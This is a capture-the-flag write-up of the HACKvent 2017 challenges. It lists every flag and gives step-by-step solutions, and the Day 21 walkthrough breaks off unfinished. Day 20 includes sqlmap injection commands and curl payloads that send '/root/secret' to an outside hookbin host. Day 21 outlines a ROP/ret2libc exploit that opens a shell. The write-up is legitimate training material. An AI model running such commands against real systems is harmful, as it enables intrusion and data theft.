README.md

Overview

Day	level	Used techniques	Flag
01	easy	none	HV17-5YRS-4evr-IJHy-oXP1-c6Lw
02	easy	base64	HV17-Th3F-1fth-Pow3-r0f2-is32
03	easy	log	HV17-th1s-isol-dsch-00lm-agic
04	medium	pdf	HV17-RP7W-DU6t-Z3qA-jwBz-jItj
05	medium	crc32	HV17-7pKs-whyz-o6wF-h4rp-Qlt6
06	medium	qr	HV17-eCFw-J4xX-buy3-8pzG-kd3M
07	medium	mount	HV17-UCyz-0yEU-d90O-vSqS-Sd64
08	medium	obfuscated python	HV17-th1s-ju5t-l1k3-j5sf-uck!
09	medium	json	HV17-Ip11-9CaB-JvCf-d5Nq-ffyi
10	medium	scripting	HV17-y0ue-kn0w-7h4t-g4me-sure
11	hard	modulo	HV17-zQBz-AwDg-1FEL-rUE9-GKgq
12	hard	wireshark, openID	HV17-eUOF-mPJY-ruga-fUFq-EhOx
13	hard	asm, RE	HV17-mUff!n-4sm-!s-cr4zY
14	hard	RSA	HV17-5BMu-mgD0-G7Su-EYsp-Mg0b
15	hard	automation, hash	HV17-el2S-0Td5-XcFi-6Wjg-J5aB
16	hard	python	HV17-J41l-esc4-p3ed-w4zz-3asy
17	hard	PE header	HV17-VIQn-oHcL-hVd9-KdAP-txiK
18	final	RE	HV17-5mJ3-yxcm-WiUX-nZgW-e0lT
19	final	eherium VM	979879b722b520e0463c14f8dbaf9d90b669e357b23889405b3194959434965e (individual code)
20	final	botnet, docker, RE, sqli	HV17-wh4t-4b0ut-n!x-m4l3w4re-4nd-cyberwarezzz?
21	final	RE, ROP	HV17-pwn3d-t4m4g0tch3y-thr0ugh-f00d
22	final	RE, crypto	HV17-9VmF-xULb-fRVU-pvgb-KhZo
23	final	perl polyglott	HV17-Ovze-IUGF-W2xs-x2uE-pVRU
24	final	css, sqli, web exploit	HV17-7h1s-1sju-t4ra-nd0m-flag

Day	level	Used techniques	Flag
Hidden #1			HV17-4llw-aysL-00ki-nTh3-H34d
Hidden #2			HV17-Ju5t-s0me-fak3-FlaG-4y0u
Hidden #3			HV17-bz7q-zrfD-XnGz-fQos-wr2A
Hidden #4			HE17-W3ll-T00E-arly-forT-his!
Hidden #5			HV17-UH4X-PPLE-ANND-IH4X-T1ME

Day 01

5th anniversary
time to have a look back

- Dont look to deep, use the obvious way
- Search writeups from the last years (https://github.com/shiltemann/CTF-writeups-public)
- Take flags from last years (at the position where they are referenced)
- FLAG: *HV17-5YRS-4evr-IJHy-oXP1-c6Lw*

Day 02

Wishlist
The fifth power of two
Something happened to my wishlist, please help me.

- Download Wishlist.txt
- According to the hint, the file could be base32 encoded? -> No.
- Take a look at the file (especially the end), == is used in base64 encoding
- Base64 decoding still produces the same output? No, not completely, the file gets smaller.. Hmm..
- 32 times base64 decode reveals flag
- FLAG: *HV17-Th3F-1fth-Pow3-r0f2-is32*

Day 03

Strange Logcat Entry
Lost in messages
I found those strange entries in my Android logcat, but I don't know what it's all about... I just want to read my messages!

- Download logcat.txt
- Remove front columns, sort file by PID for better overview
- Search for strings that could indicate a problem (failure, fatal, error, ...)
- Analyze log file, find strange DEBUG message (hex chars)
- Find out that its a raw PDU message (written in second DEBUG message)
- Use online converter to convert the DEBUG message to find flag
  https://www.diafaan.com/sms-tutorials/gsm-modem-tutorial/online-sms-pdu-decoder/
- FLAG: *HV17-th1s-isol-dsch-00lm-agic*

Day 04

HoHoHo
NOTE: New easyfied attachment available
Santa has hidden something for you

- Use HoHoHo_medium.pdf
- Started getting info from PDF (pdfinfo) -> no clue
- Extract images (pdfimages) -> no clue
- Check fonts (pdffonts) -> there is one embedded, but no clue
- Use pdfdetach, there is another font, the name fits :) DroidSans-HACKvent.sfd
- Download & install fontforge to load the font
- There are untitled characters at the end, but the tool does not show anything..
- When you double click them, you see a character, the first one is H, then V, 17, YES!
- Use option View > Fit to font bounding box and you will see the flag
- FLAG: *HV17-RP7W-DU6t-Z3qA-jwBz-jItj*

Day 05

Only one hint
OK, 2nd hint: Its XOR not MOD
Here is your flag:

```
0x69355f71
0xc2c8c11c
0xdf45873c
0x9d26aaff
0xb1b827f4
0x97d1acf4
```

and the one and only hint:
`0xFE8F9017 XOR 0x13371337`

- XOR hint to get EDB88320
- Searched in Google to find this is the CRC32 polynomial
- Use script to crack CRC from https://pastebin.com/bGK8b4UC
- FLAG: *HV17-7pKs-whyz-o6wF-h4rp-Qlt6*

Day 06

Santa's journey
Make sure Santa visits every country
Follow Santa Claus as he makes his journey around the world.

- Go to link provided (http://challenges.hackvent.hacking-lab.com:4200/)
- Scan QR code to get a lands name (in my case Ethiopia)
- Tried to analyze headers.. nothing
- Tried to connect using netcat to interact, only webserver
- Tried to append Ethiopia to the URL -> not found..
- Check QR code again, now theres another lands name (Romania)
- Maybe we have to get a QR code for every land !?
- Used script fetch.py to retrieve and decode the QR codes
- FLAG: *HV17-eCFw-J4xX-buy3-8pzG-kd3M*

Day 07

i know ...
... what you did last xmas
We were able to steal a file from santas computer. We are sure, he prepared a gift and there are traces for it in this file.
Please help us to recover it:

- Download provided file
- Check content with binwalk -> zip archive
- Rename to *.zip and unzip it
- Check unzipped file (with file cmd) to see that there is a FAT filesystem inside
- Mount the *.ima (mkdir tmp & sudo mount -o loop SANTA.IMA tmp)
- Check the file inside tmp
- Search for HV string to check if the flag is there (xxd SANTA.PRIV | grep HV17 -A2)
- FLAG: *HV17-UCyz-0yEU-d90O-vSqS-Sd64*

Day 08

True 1337s
... can read this instantly
I found this obfuscated code on a public FTP-Server. But I don't understand what it's doing...

- Download file and open it, two function names visible, exec and chr -> could be python
- Execute it with python2 and python3
- Python2 gives you a hint: A=chr;__1337=exec;SANTA=input;FUN=print
- Python3 seems to execute the file and a prompt opens "?"
- Exchange exec on first line with print to get the first obfuscated function
  `def \_1337(B):return A(B//1337)`
- Now remove all the True stuff and replace if with the function just found
- Exchange __1337 with print to get the content of the second function
  `C=SANTA("?")`
  `if C=="1787569":FUN(''.join(chr(ord(a) ^ ord(b)) for a,b in zip(` ...
- Looks like the prompt is checking for a value.. 1787569
- Start python3 True.1337 and enter 1787569
- FLAG: *HV17-th1s-ju5t-l1k3-j5sf-uck!*

Day 09

JSONion
... is not really an onion. Peel it and find the flag.

- Download file an extraxt zip
- Looks like plain JSON, really big. The name onion could refer that we shrink it somehow?
- Checked online for JSOnion and found JSON ION and jsonion lib but no luck with them
- There is an operand op="map" at the beginning, i think we have to perform this operation
- Lets print all the keys of the JSON -> op, mapFrom, content, mapTo
- Tried different things with mapFrom&mapTo, XOR, calculate distance between chars, ...
- Maybe substitute? Using the chars from mapFrom and map them to mapTo in content :)
- Next op gzip, thats easy, base64decode and decompress
- Then b64, I thinks thats base64 decode, yep!
- gzip again? OK need to automate this based on the op="xyz" :)
- Now nul. Hmm.. The JSON looks like the next op is already clearly visible.. Just do nothing? yep!

- Then XOR, base64 decode the mask, then base64 decode the content and perform XOR for every byte
- Next rev, looking at the JSON, everything is reversed, so just reverse the whole stuff..
- op="flag" YES! THIS-ISNO-THEF-LAGR-EALL-Y...
- Well, this does not work.. What went wrong? It is saying this is not the flag..
- Changed the script to print out all keys in first level of JSON -> nothing
- Print the length of the array (all these objects are in an array, but why?) Yay, in step 74 the array has two elements, so we just followed the wrong tree
- Use tree len(d) - 1
- FLAG: *HV17-Ip11-9CaB-JvCf-d5Nq-ffyi*

Day 10

Just play the game
Haven't you ever been bored at school?
Santa is in trouble. He's elves are busy playing TicTacToe. Beat them and help Sata to save christmas!

- Win the TicTacToe game 100 times. See script
- FLAG: HV17-y0ue-kn0w-7h4t-g4me-sure

Day 11

Crypt-o-Math 2.0
So you bruteforced last years math lessions? This time you cant escape!

```
c = (a * b) % p
c=0x559C8077EE6C7990AF727955B744425D3CC2D4D7D0E46F015C8958B34783
p=0x9451A6D9C114898235148F1BC7AA32901DCAE445BC3C08BA6325968F92DB
b=0xCDB5E946CB9913616FA257418590EBCACB76FD4840FA90DE0FA78F095873
```

find "a" to get your flag.

- Challenge changed due to cheating, this is for the new values.
- Really I had no clue! Thanks to Sc4ryF15h who explained tha math to me!
- Transform eq to (c + n*p) / b = a in mod(p)
- Because we are in mod(p) space, the (c + n*p) mod(p) converts to c
- We get c / b = a in mod(p)
- In a modular space only + and * are defined and valid
- To convert a - to a + you use two's complement
- To convert a / to a * you have to calculate the inverse
- In Rational Numbers, x / 5 = x * 0,2 ==> inv(5) = 0,2
- The multiplication has a neutral element, in Rational its 1:
  x * inv(x) = 1 ==> 5 * inv(5) = 1 ==> 5 * 0,2 = 1
- So we want convert c / b = a in mod(p) to c * inv(b) = a in mod(p)
- To find inv(b) we have to solve b * x = 1 mod(p)
  Use Wolfram Alpha to solve this: PowerMod[b, -1, p]
- Use Wolfram Alpha again to calculate c * inv(b) % p
- Convert the result hex -> ASCII
- FLAG: *HV17-zQBz-AwDg-1FEL-rUE9-GKgq*

Day 12

giftlogistics
countercomplete inmeasure
Most passwords of Santa GiftLogistics were stolen. You find an example of the traffic for Santa's account with password and everything. The Elves CSIRT Team detected this and made sure that everyone changed their password.
Unfortunately this was an incomplete countermeasure. It's still possible to retrieve the protected user profile data where you will find the flag.

- Open the pcapng dump in wireshark
- Filter for HTTP messages
- You can read user (santa) and password (password) in clear, but they dont work anymore..
- It looks like some OpenID is involved here..!
- The hint on the hackvent site was protected user profile data...
  OpenID has a /userinfo endpoint, maybe this helps?
  https://connect2id.com/learn/openid-connect#userinfo-endpoint
- Try to connect to http://challenges.hackvent.hacking-lab.com:7240/giftlogistics/userinfo
  Yes, its there, but we are not authenticated..
- So you only need a valid token to get the userinfo
- There is a request made to: /giftlogistics/login
- Right click the line > Follow > HTTP stream
- At the end of the stream there is the complete token! access_token=[...]
- OpenID is vulnerable to replay attacks, so lets just pass this as GET parameter..
  http://challenges.hackvent.hacking-lab.com:7240/giftlogistics/userinfo?access_token=[...]
  (take everything, also id_token=[...] and so on)
- FLAG: *HV17-eUOF-mPJY-ruga-fUFq-EhOx*

Day 13

muffin_asm
As M. said, kind of a different architecture!
ohai \o/
How about some custom asm to obsfucate the codez?

- Download and run the python script
- Looks like you have to give it a secret and you will retrieve the flag
- Tried some combinations, no luck :D
- Check the script, first idea was to swap _je and _jne functions to get the flag with wrong input
- You can enter many more characters now, but you will not get the flag..
- This looks more like a checking application, you give it the flag and it says valid or not
- Bruteforce will take too long, so lets take a look at the functions..
  _je and _jne will only look at f[0] whether they should jump.
  The only functions that modify f[0] are _cmp and _cmpv!
  _cmp compares the value of two registers r (we have 4 in total)
  _rchr(x) reads a single character entered by the user to a register
- So I assume that _rchar() reads the input and afterwards, _cmp is used to compare the given input to a character thats already stored in another register before
- I added a line to the run function to print what _cmp tries to compare
  You can also print all characters in the register to see which is the input and what is there additionally
- Now just enter a single character and you will see whether it was correct
- Repeat for all other characters of the flag :)
- FLAG: *HV17-mUff!n-4sm-!s-cr4zY*

Day 14

Happy Cryptmas
todays gift was encrypted with the attached program. try to unbox your xmas present.

```
Flag:
7A9FDCA5BB061D0D638BE1442586F3488B536399BA05A14FCAE3F0A2E5F268F2F3142D1956769497AE677A12E4D44EC727E255B3910
```

- Download & unzip the application
- Use strings on it
- There are some function name *_gmpz**, a long hex string and a well known number 65537
- Looks like RSA !?
- To check again, use radare2 to view the program flow (quite small) where it loads the hex number and 65537 into the MPZ library (GNU Multi Precision) and uses this for encryption powm (afterwards it prints the Crypted value"
- RSA works encryption wise like: cm = m ^ e mod pq
  cm = ciphered flag, m = flag, e = 65537, pq = long hex string
- RSA decryption looks like: m = cm ^ d mod pq
- We need to find out d (private key), this is only possible if there are weak p,q parameters used..
- Use CrypTool to try to factorize pq (long hex thing) "Indiv. Procedures" > "RSA Cryptosystem" > "Factorization of a number"
- Enter the hex string as number to be factorized and click "Complete factorization into primes"
- After some time you will find a possibility:
  p = 18132985757038135691
  q =
  71178115051121572443536387408848691007585391311842504997291282614822129748306500796719243161342240969405406475565856424372155553253582 7
- Go on using "Encrypt/Decrypt" > "Asymmetric" > "RSA Demonstration"
- Enter p, q and e and the ciphered flag as "Input text", select "Input as" "numbers" and go to the "Alphabet and number system options" to change the Number system to "Hexadecimal", then click Decrypt
- Use Hex -> ASCII conversion of the decrypted plaintext
- FLAG: *HV17-5BMu-mgD0-G7Su-EYsp-Mg0b*

Day 15

Unsafe Gallery
See pictures you shouldn't see
The List of all Users of the Unsafe Gallery was leaked (See account list). With this list the URL to each gallery can be constructed. E.g. you find Danny's gallery here.
Now find the flag in Thumper's gallery.
Link to gallery: http://challenges.hackvent.hacking-lab.com:3958/gallery/bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw

- This was fucking freaking complicated and I only solved it after some hints/spoilers..
- It is basically an automation challenge where you should write a good script to get it
- First you have a list of users with some information for each one and you have a link to Dannys gallery
- Idea is to write a script that calculates different hashes over different fields or combination of fields for every Danny in the list (maybe you could only use the ones marked as "active" and with a picture count of 15, thats what you know. So only 2 left)
- But thats not all, a hash sum is only hex. To get to the URL you have to base64 encode it.
- Afterwards the string is too long for the Danny one we have.. But when you look through everything you have generated, there should be one that looks quite familiar..
- The hash algorithm used is sha-256
- After base64 encoding, only alphanumeric characters are kept (so remove +=/)
- Then do this again for all "Thumper" that are active in the CSV
- You better test these galleries manually because you dont know the name of the flag. I tried to guess it and searched for

a path //images/flag.jpg as all other images were jpg

- But in the correct gallery, if you find it, the images are under //timages so I think you need this manual step...
- FLAG: *HV17-el2S-0Td5-XcFi-6Wjg-J5aB*

Day 16

Try to escape ...
... from the snake cage
Santa programmed a secure jail to give his elves access from remote. Sadly the jail is not as secure as expected.

- Connect to the given host & port
- You find a python jail with a=* prompt
- First try to find out whats available, so try all characters, A-Z 0-9 special chars
  a c d e i l n o p r s t v 0 1 2 3 7 9 _ + ' " ( ) [ ] .
- Second, try all python builtin functions which can be used
  all() eval() print() repr() str() produce no error
  There are some that are Denied (this we can probably circumvent)
  And the otheres are not defined, so we will not get access to them
- To get the value of a, use print(a). It seems that the right side is executed and result is stored in a.
- Important, dont use whitespaces, they are not allowed ;)
- However, currently we cannot input arbitrary strings, so we need to fix this. chr() is not available, lets try input() which is just Denied at the moment.
  Only the 'u' seems to be a forbidden char!
- How can we get a 'u' without typing it? If you just type "print", a has now the value of "<built-in function print>". This has a 'u' at third position!
- So we can use print(eval(eval("inp"+str(print)[2]+"t()"))) to get a unmodified input prompt which will be executed afterwards and the result is then printed.
- Now lets search for the SANTA function, lets just try SANTA() in our prompt
  No flag for you!
- OK, not that easy.. Lets take a look at the function parameters
- SANTA.func_code is not available :(
- SANTA._*defaults*_ gives us: (False,) -> there is a parameter!
- SANTA(True) returns: zip argument #2 must support iteration
  OK, the argument has to be iterable..
- SANTA([1,1,1,1]) returns: ord() expected string of length 1, but int found
  This means we should not pass int, but chars. OK
- SANTA("1111") returns: HT31
  -> already looks promising! The flags are 29 chars, so lets try..
- SANTA("11111111111111111111111111111"): looks basically good.
- Lets vary the input.. SANTA("12"): HW
- SANTA("13"): HV -> yes! mhh 13? maybe 1337??
- SANTA("1337"): HV17 -> YAY
- To reveal the flag: SANTA("13371337133713371337133713371")
- FLAG: *HV17-J41l-esc4-p3ed-w4zz-3asy*

Day 17

Portable NotExecutable
here is your flag.
but wait - its not running, because it uses the new Portable NotExecutable Format. this runs only on Santas PC. can you fix that?
Hint #1: IMAGE_FILE_HEADER and its friends
Hint #2: No reversing/bruteforcing needed. Just make it run ...
Hint #3: take the hint in the file serious, the black window should not appear (wine and cmd users might not see it - change OS or how you run the exe)

- Download and extract the executable
- Run it using wine or on windows -> format error
- Analyze the file using strings.. At the end there seems to be the flag? and a hint
  HV17-GasR-zkb3-cVd9-KdAP-txi is almost good. but why the black window?
- Take a look in hex editor of your choice..
  This page helps very much in understanding what to do: http://what-when-how.com/windows-forensic-analysis/executable-file-analysis-windows-forensic-analysis-part-2/
- The first two bytes are MS but the should be MZ (0x4D5A) from Mark_Zbikowski, the Microsoft architect who developed the EXE format -> lets change this
- Now wants to run in DosBox, but prints "Win32 only!".
- The IMAGE_DOS_HEADER at the beginning is 64 bytes long.
- Lets look deeper, at the end of the IMAGE_DOS_HEADER there should be a pointer to the e_Ifanew struct
  In our case this is 0x2000 0000 -> This is inside the IMAGE_DOS_HEADER, this makes no sense!
- Basically, the e_Ifanew struct begins with PE\0\0 (0x5045 0000) which stands for Portable Executable
- Directly after the IMAGE_DOS_HEADER we have a PNE\0 (0x504E 4500), I guess this stands for the "Portable Non Executable" format we have here..
- Lets modify the PNE\0 to PE\0\0 and let the e_Ifanew pointer point to it (0x4000 0000)
- Still not working.. Lets take a look in PE View (Windows)
- The adress and length of symbol table look really weird!
  Change it from 0x48 41 43 4B to all zeroes
- If you look at the sections PE View finds, you see 5 IMAGE_SECTION_HEADER but the Number of Sections in IMAGE_FILE_HEADER is 6, so lets change this to 5.
  If you see the section IMAGE_SECTION_HEADER after SECTION_CODE it looks really weird from the numbers! -> Afterwards this strange section is gone
- You can now run the executable in wine!!! And get the flag!!!! -> WRONG ??
  You need to run this in windows.. (Hint on website to not rely on wine)
- And windows still doesnt run it.. Okay, look again in PE View..
  There are only 4 sections visible: CODE, DATA, .idata & .rsrc so lets set the count to 4
- Yay, it runs on windows! And the flag? Still invalid :(
  Now the next hint from the website, take the hint in the file serious
  So what we have, on windows there is a small box where the flag is shown, but there is also a command window in the background.. The black window! We need to get rid of it
- Search through PE View ..
  In IMAGE_OPTIONAL_HEADER there is a field Subsystem and it is set to IMAGE_SUBSYSTEM_WINDOWS_CUI (0x0003), this could be Command-line UI?
  On the page there is an example showing IMAGE_SUBSYSTEM_WINDOWS_GUI has the value 0x0002, so lets change it.
- Now the command line window in background is gone :)
  -> Flag still not valid :(
- Now try&error begins. We can revert the steps above and see if the program still runs. You should only do the changes that are REALLY required to run the program, nothing more.
  I assum the flag calculates from the checksum or the content of the whole binary, so any step extra kills the flag!
- Do not tamper with the timestamp

- Revert pointer to symbol table -> now it works
- FLAG: *HV17-VIQn-oHcL-hVd9-KdAP-txiK*

Day 18

I want to play a Game (Reloaded)
last year we played some funny games together - do you remember? ready for another round?
download the game here and play until you find the flag.
Hint #1: follow the fake flag in the unsigned binary. this challenge needs RE

- Download & unpack the ISO
- Check all the files...
- Take a look at the files, PARAM.SFO can be "viewed" in vim and it contains "PS3_SYSTEM_VER"
  So this seems to be a PS3 game!
- Download rpcs3 to be able to emulate the game (doesnt work)
- Load the SELF file directly and a screen comes up with two flags
  -> Hidden #2: *HV17-Ju5t-s0me-fak3-FlaG-4y0u*
  second one is fake
- Its not really a game :(tried every key or whatever but it doesnt react (only x quits)
- Now lets check the files again, using strings. for the BIN you get many, the SELF doesnt show anything
- Lets read about the SELF. It is a signed and encrypted format..
- Use trueresigner to convert the SELF to an ELF
- Now strings return very similar output as the BIN :)
- Idea: We need to get the BIN running to get the flag
- OK, there was a hint added to the website: "follow the fake flag in the unsigned binary. this challenge needs RE"
  So we can stay with the BIN file (the unsigned one) but need to reverse it? (big file!)
  -> I think this hint was shit. So I skip the RE part as it is not necessary!
- Ok, this says we should take a look at the "unsigned" one, the BIN..
- Hmm, lets step back and look at what we have..
  a BIN that doesnt run where we should look at
  a ELF that runs but only prints the hidden flag.. (btw the hidden flag is not readable in the file itself..)
- Lets take a look at the differences of BIN and ELF
  Big difference at the end (thats the debug symbols, I think we can ignore them)
  small difference directly at the beginning, doesnt make sense..
  small differences at 0x2866D, maybe this one?
  more differences at 0x3057D, too much too look promising..
  small differences at 0x40055, waaaait. There is the text on the screen right next to it!
- Lets patch the bytes from the BIN to the ELF and run it in rpcs3
- FLAG: *HV17-5mJ3-yxcm-WiUX-nZgW-e0lT*

Day 19

Cryptolocker Ransomware
This flag has been taken for ransom. Transfer 10'000 Szabo to 0x1337C8b69bcb49d677D758cF541116af1F2759Ca with your HACKvent username (case sensitive) in the transaction data to get your personal decryption key. To get points for this challenge, enter the key in the form below.
Disclaimer: No need to spend r34l m0n3y!
Enter your 32-byte decryption key here. Type it as 64 hexadecimal characters without 0x at the beginning.

- First thought: Where the heck should I start? :D
- OK, recap. Ransomware wants to get some money, they use a crypto currency, so lets try them
- Bitcoin? Nothing there. Ethereum? Yep: https://etherscan.io/address/0x1337c8b69bcb49d677d758cf541116af1f2759ca

- An Ethereum contract and one incoming transaction.
- If you look at the incoming transaction (TxHash) you see Input Data (in ASCII: Thumper)
  This was the transaction Thumper did to get his code!
- Take a look at the "Event Logs" tab on that transaction
  There is Thumpers "unlock" code (First data element)
- So it looks like the contract accepts incoming transactions, processes them with the Input Data (username) and returns your individual code
- As we do not want to spend money, lets find a way to emulate the contract/transaction
- I used nodejs and https://github.com/ethereumjs/ethereumjs-vm
- Just use the example there and exchange the contract code with the one on etherscan (Tab Contract Code)
- You can add a method to see the debug (every opcode that is executed)
- Add "Thumper" in hex as data parameter (this was the Input Data in his transaction)
- Hmm, the OpCodes on etherscan are much more !? We jump out after the second JUMPI...
- Whats around the second JUMPI (from etherscan OpCode View):

  ```
  PUSH7 0x2386f26fc10000
  CALLVALUE
  LT
  PUSH2 0x0152
  JUMPI
  ```

- OpCode overview: https://ethereum.stackexchange.com/questions/119/what-opcodes-are-available-for-the-ethereum-evm
- CALLVALUE gets the value in ether of the transaction and LT compares it to whats on the stack.. (0x2386f26fc10000), so lets change our value to this
- Now the script runs completely, but still no return value?
- Right, the complete script does not have a RETURN statement, but LOG1 calls, so it doesnt return anything..
- By looking at the results object util.inspect(results, {depth: 1})
  Ah there is the code of Thumper (results.runState.lastReturned)
- Now we add our username as data ("angel0fdarkness" -> hex)
- My Code: *979879b722b520e0463c14f8dbaf9d90b669e357b23889405b3194959434965e*

Day 20

linux malware
oh boy, this will go wrong... =D
ohai my name is muffinx...
...um yeah btw. cyberwar just started and you should just pwn everyone?
Make sure you don't leave traces and make the lifes of your opponents harder, but fairplay!
You are a hacker? Then think like a hacker!
Attack! Defend! And trick!

Ladies and gentlemen,
We understand that you
Have come tonight
To bear witness to the sound
Of drum And Bass

We regret to announce
That this is not the case,
As instead
We come tonight to bring you
The sonic recreation of the end of the world.

Ladies and gentlemen,
Prepare
To hold
Your
Colour

OK.
Fuck it,
I lied.
It's drum and bass.
What you gonna do?

WARNING:
RUN INSIDE VM, THIS CONTAINER MAYBE DANGEROUS FOR YOUR SYSTEM,
WE TAKE NO RESPONSIBILITY

You should keep the container inside the same host your haxxing on (same ip) or some things will not work...

Hint #1: check https://hub.docker.com/r/muffinx/hackvent17_linux_malware/ for regular updates, keep the container running (on the same ip) when you are haxxing the bot panel
Hint #2: you can also use https://hookbin.com/ to create private endpoints

- Download the provided docker image
  WARNING: Run the docker image in a separate VM as it could harm your system!
- Simply run it & look at whats happening.. (I cut the network before ;))
  No log output, no obvious behaviour. In wireshare you see connection attempts to challenges.hackvent.hacking-lab.com:8081
- You can use docker save -o image.tar muffinx/hackvent17_linux_malware to save all file system layers as tar
- Searching through the different layers you find many cryptic files in the home directory containing random HV17-xxxx strings and other stuff..
- There are also three python scripts, loopz.py, party.py and checker.py
  loopz.py just calls another binary in a loop
  party.py is the one generating those random files in home with random content (so we can skip them)
  checker.py requests a nonce from challenges.hackvent.hacking-lab.com:8081/?nonce, does some base64 and XOR and sends it back
- If you take a look at the binary that is called (bot), it is really big and opening it in radare2 takes very long and does not produce any interesting results..
- Lets see whats running inside the container.. docker exec -ti container_id /bin/bash
- ps aux shows that there are some (hidden) files executed from /tmp ? Lets check them It seems they are created and destoryed, so you need to find the right time to copy them :D
- Some ELF binaries, some huge python scripts with long byte arrays and a man page !? wtf? But wait, the man page has ''' at the beginning! (python heredoc)
- When you search through the man page you will find the embedded python code
- OK what is this doing (some functions are renamed and strings are base64 encoded)
  i. get http://challenges.hackvent.hacking-lab.com:8081/?twitter (at the beginning of the challenge, this only contained muffiniks|)
  ii. split received string by |
  iii. get the twitter.com page for every user name mentioned in the list
  iv. search in the tweets of this user for some key words muffiniks has to be mentioned, hashtag hackvent has to be present and the URL to http://hackvent.hacking-lab.com
  v. If the tweet matches, extract the string between MUFFIN_BOTNET: and :MUFFIN_BOTNET
  vi. base64decode that string, xor it with the "key" in x() and then execute the command
  -> This can cause harm depending on the command! :)
- So now there are two possibilities, either the flag is hidden somewhere inside the docker /unlikely) or the botnet is also running on the hackvent server and you can tell him to give you the flag somehow..

- We need to get our twitter username onto that http://challenges.hackvent.hacking-lab.com:8081/?twitter page
- When you just connect to http://challenges.hackvent.hacking-lab.com:8081 you get rickrolled, but looking at the HTML code, there is a hidden password field!
- First i tried some default passwords (you have to use POST), no luck
- Afterwards sending a single quote (') produces an error!
  [-] query failed : SELECT AES_ENCRYPT(''','muffin_botz_hax_pw') AS enc FROM passwords
- This seems to be vulnerable to a sql injection! (and we already have a key for AES)
- sqlmap -u http://challenges.hackvent.hacking-lab.com:8081/ --method POST --data "password=" -> this does not show any vulnerability ..
- Lets try harder :D
  sqlmap -u http://challenges.hackvent.hacking-lab.com:8081/ --method POST --data "password=" --risk 3
  -> There it is!
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 OR time-based blind
  Payload: password=' OR SLEEP(5) AND 'kQYN'='kQYN
- Here is a good tutorial for sqlmap: http://www.binarytides.com/sqlmap-hacking-tutorial/
- Get all databases: sqlmap -u http://challenges.hackvent.hacking-lab.com:8081/ --method POST --data "password=" --risk 3 --dbs
- Then the tables: sqlmap -u http://challenges.hackvent.hacking-lab.com:8081/ --method POST --data "password=" --risk 3 --tables -D muffin_bot
- Then the columns: sqlmap -u http://challenges.hackvent.hacking-lab.com:8081/ --method POST --data "password=" --risk 3 --columns -D muffin_bot -T passwords
- Then the data: sqlmap -u http://challenges.hackvent.hacking-lab.com:8081/ --method POST --data "password=" --risk 3 --dump -D muffin_bot -T passwords
  (And yes, its really slow :D)
- OK, the password is encrypted, but we already have the key, so lets get the real password.
  sqlmap -u http://challenges.hackvent.hacking-lab.com:8081/ --method POST --data "password=" --risk 3 --sql-query "SELECT AES_DECRYPT((SELECT password FROM passwords WHERE id = 1), 'muffin_botz_hax_pw')"
  -> this_pw_is_so_eleet
- Then we can login to the site -> video changes
- In the HTML there is now a new hidden form where you can add your twitter name
  It seems they are cleared on a regular interval, so keep checking and add it again
- OK, when we are on the ?twitter page, we can now start to tweet commands to the botnet
  To get the results of these commands, we can use https://hookbin.com
  curl -X POST -H "Content-Type: application/json" -d '{"name": "John"}' https://hookb.in/vgLlyGro
- So we craft our paylod to: sh -c 'ls -la / | base64 -w 0 | curl -d @- https://hookb.in/vgLlyGro'
  This becomes:
  MUFFIN_BOTNET:FQ5GPlRiTl9yM0sKBzMYYhUTY3lVA1AnF28eEzEzGkYFZkUuSR5lMyZLRntDNhlAOzxJDgl8XCBHWm88EAEqf04FG1wm:MUFFIN_BOTNET
- After searching through the file system, we can extract /root/secret
  sh -c 'cat /root/secret | base64 -w 0 | curl -d @- https://hookb.in/vgLlyGro'
  FQ5GPlRiTlBgZ0ZJFHxYNkZAZHAUAxIzS2ILUnJ2UFJGPkBiWRN9MwUTFH8Xbw0TQT5GDhJnRzFTHC57CQkNcRkrBxx3dCoKH1RFLU4=
- FLAG: *HV17-wh4t-4b0ut-n!x-m4l3w4re-4nd-cyberwarezzz?*

Day21

tamagotchi
ohai fuud or gtfo
ohai
I'm a little tamagotchi who wants fuuuuud, pls don't giveh me too much or I'll crash...

- Download the binary and libc

- Run tamagotchi to see whether we can crash it.
- Looks like no matter how much food we give him, it wont crash...
- Wait, when we end the program, it crashes! So we can overwrite something and call it through ending the program.
- Lets see how many bytes we have to enter to overwrite the return address..
- You can do a little RE to see that fputs always reads 400 bytes, now lets input a pattern with 400 bytes
- Call the file with gdb, input the pattern and select bye (2) so the program crashes, now we see whats in RSP: 6C6D6E6F -> 6C = 108 * 2 (2 bytes each) = 216
  So whe we input 216 chars, we can afterwards overwrite RSP.
- Ok now, because we are on a 64bit architecture, we cannot simply put arguments to our injected call on the stack, they have to go to RDI.
- I used ropper to find such a gadget inside tamagotchi
  ropper --file tamagotchi --search "% ?di"
- This looks just perfect: 0x0000000000400803: pop rdi; ret;
  It will take the first item from the stack and place it in RDI
- Locally we can now try an exploit, lets check the address for system() call in libc
  in gdb you can simply use p system: 0x7ffff7a77d60 <__libc_system>
- And we need /bin/sh, using gdb we can do find "/bin/sh"
  libc : 0x7ffff7b9f917 --> 0x68732f6e69622f ('/bin/sh')
- So if we craft our "food" to be A*216 + 0x0000000000400803 + 0x7ffff7b9f917 + 0x7ffff7a77d60, "/bin/sh" should end up in RDI and system will execute this on the end.
- Now to do this on the remote server we got the libc that is used there. We cannot simply hardcode our addresses as the server might have ASLR in place
- First we need to find out the address of a function inside libc on the server
- The exe is using puts to print text on the screen, so we will use this
- We need to get the address of puts inside the GOT (thats what we want to get)
  objdump -R tamagotchi reveals: 0000000000601018 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
- Then we need to have the address of a puts call to PLT
  use gdb and search for a puts call (its in main() here)
  gdb tamagotchi
  dissassemble main
  We find: 0x4004b0 puts@plt
- Lastly we need the address of main() to jump back to. When we would do this on two separate sessions, ASLR might have relocated the functions again!
  in gdb simply type "p main" to get 0x4006ca
- Now we can construct the first part of our exploit:
  A*216 + 0x0000000000400803 + 601018 + 4004b0 + 4006ca
- So when we call bye, this will print the address of puts and return to main, so keeps running.
- Afterwards, we have to calculate the base address of libc
- readelf -s libc-2.26.so | grep puts reveals
  411: 0000000000078460 528 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.2.5
- Do the same for system: 1378: 0000000000047dc0 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
- And now we have to get the offset of /bin/sh..
  xxd libc-2.26.so | grep "/bin/sh": 001a3ee0
- So after we acquired the remote address for puts from the server, we calculate the base address of libc:
